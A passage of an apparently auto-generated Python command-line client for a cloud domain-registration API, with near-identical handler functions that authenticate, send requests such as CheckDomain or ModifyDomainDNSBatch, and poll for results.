time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doCheckDomain(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.CheckDomainRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.CheckDomain(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doRenewDomainBatch(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.RenewDomainBatchRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.RenewDomainBatch(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeTemplate(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeTemplateRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.DescribeTemplate(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doCreatePhoneEmail(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.CreatePhoneEmailRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.CreatePhoneEmail(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeTemplateList(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeTemplateListRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.DescribeTemplateList(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribeBatchOperationLogs(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribeBatchOperationLogsRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.DescribeBatchOperationLogs(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doBatchModifyDomainInfo(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.BatchModifyDomainInfoRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.BatchModifyDomainInfo(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doTransferProhibitionBatch(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.TransferProhibitionBatchRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.TransferProhibitionBatch(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doTransferInDomainBatch(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.TransferInDomainBatchRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.TransferInDomainBatch(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doUpdateProhibitionBatch(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.UpdateProhibitionBatchRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.UpdateProhibitionBatch(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doCreateTemplate(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.CreateTemplateRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.CreateTemplate(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doModifyDomainOwnerBatch(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.ModifyDomainOwnerBatchRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.ModifyDomainOwnerBatch(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doDescribePhoneEmailList(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.DescribePhoneEmailListRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.DescribePhoneEmailList(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: json_obj = json.loads(result.decode('utf-8')) # python3.3 if not g_param[OptionsDefine.Waiter] or search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj) == g_param['OptionsDefine.WaiterInfo']['to']: break cur_time = time.time() if cur_time - start_time >= g_param['OptionsDefine.WaiterInfo']['timeout']: raise ClientError('Request timeout, wait `%s` to `%s` timeout, last request is %s' % (g_param['OptionsDefine.WaiterInfo']['expr'], g_param['OptionsDefine.WaiterInfo']['to'], search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj))) else: print('Inquiry result is %s.' % search(g_param['OptionsDefine.WaiterInfo']['expr'], json_obj)) time.sleep(g_param['OptionsDefine.WaiterInfo']['interval']) FormatOutput.output("action", json_obj, g_param[OptionsDefine.Output], g_param[OptionsDefine.Filter]) def doModifyDomainDNSBatch(args, parsed_globals): g_param = parse_global_arg(parsed_globals) if g_param[OptionsDefine.UseCVMRole.replace('-', '_')]: cred = credential.CVMRoleCredential() elif g_param[OptionsDefine.RoleArn.replace('-', '_')] and g_param[OptionsDefine.RoleSessionName.replace('-', '_')]: cred = credential.STSAssumeRoleCredential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.RoleArn.replace('-', '_')], g_param[OptionsDefine.RoleSessionName.replace('-', '_')] ) else: cred = credential.Credential( g_param[OptionsDefine.SecretId], g_param[OptionsDefine.SecretKey], g_param[OptionsDefine.Token] ) http_profile = HttpProfile( reqTimeout=60 if g_param[OptionsDefine.Timeout] is None else int(g_param[OptionsDefine.Timeout]), reqMethod="POST", endpoint=g_param[OptionsDefine.Endpoint], proxy=g_param[OptionsDefine.HttpsProxy.replace('-', '_')] ) profile = ClientProfile(httpProfile=http_profile, signMethod="HmacSHA256") mod = CLIENT_MAP[g_param[OptionsDefine.Version]] client = mod.DomainClient(cred, g_param[OptionsDefine.Region], profile) client._sdkVersion += ("_CLI_" + __version__) models = MODELS_MAP[g_param[OptionsDefine.Version]] model = models.ModifyDomainDNSBatchRequest() model.from_json_string(json.dumps(args)) start_time = time.time() while True: rsp = client.ModifyDomainDNSBatch(model) result = rsp.to_json_string() try: json_obj = json.loads(result) except TypeError as e: 